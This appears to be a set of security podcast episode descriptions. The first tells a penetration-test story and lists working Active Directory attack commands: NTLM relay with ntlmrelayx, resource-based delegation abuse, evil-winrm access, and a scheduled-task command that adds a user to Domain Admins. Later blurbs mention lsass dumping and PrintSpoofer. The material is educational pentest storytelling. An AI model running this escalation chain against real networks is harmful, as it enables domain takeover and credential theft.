7MS #294: GDPR Me ASAP

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode: Got an SA account to a SQL server through Snaffler-ing With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f …and ran it: schtasks /run /tn "TotallyFineTask"

Today’s tale of pentest pwnage is a classic case of “If your head is buried in the pentest sand, pop it out for a while, touch grass, and re-enumerate what you’ve already enumerated, because that can lead to absolute GOLD!”

Hello friends!  Today your friend and mine, Joe “The Machine” Skeen joins me as we keep chipping away at pwning Ninja Hacker Academy!  Today’s pwnage includes: “Upgrading” our Sliver C2 connection to a full system shell using PrintSpoofer! Abusing nanodump to do an lsass minidump….and find our first cred. Analyzing BloodHound data to find (and own) excessive permissions against Active Directory objects

Today I talk about a subject I love while also driving me crazy at the same time: building a pentest training course! Specifically, I dissect a fun/frustrating GPO attack that I need to build very carefully so that every student can pwn it while also not breaking the domain for everybody else. I also talk about how three different flavors of AI failed me in solving a simple task.

Hi friends, we’re doing something today we haven’t done in a hot minute: take a dip into the 7MinSec mail bag! Today we cover these questions: If I’m starting a solo business venture as a security consultancy, is it a good idea to join forces with other solo security business owners and form a consortium of sorts? Have you ever had anything go catastrophically wrong during a pentest?  Yes, and this is an important link in the story: https://github.com/fortra/impacket/issues/1436 What ever happened with the annoying apartment neighbor who stomped around like a rhino when you made any noise during COVID? What happened to the “difficult family situation” you vaguely talked about a few months ago that involved police and lawyers – did that ever get resolved?

Oh man, I’m so excited I can hardly sleep. Our new three-day (4 hours per day) training is getting closer to general release. I talk about the good/bad/ugly of putting together an attack-sensitive lab that students can abuse (but hopefully not break!), and the technical/curriculum-writing challenges that go along with it.

Today’s kind of a “story time with your friend Brian” episode: a tale of how my neighbor almost got scammed out of $13k.  The story has a lot of red flags we can all keep in mind to keep ourselves (as well as kids/friends/parents/etc.) safer from these types of shenanigans.
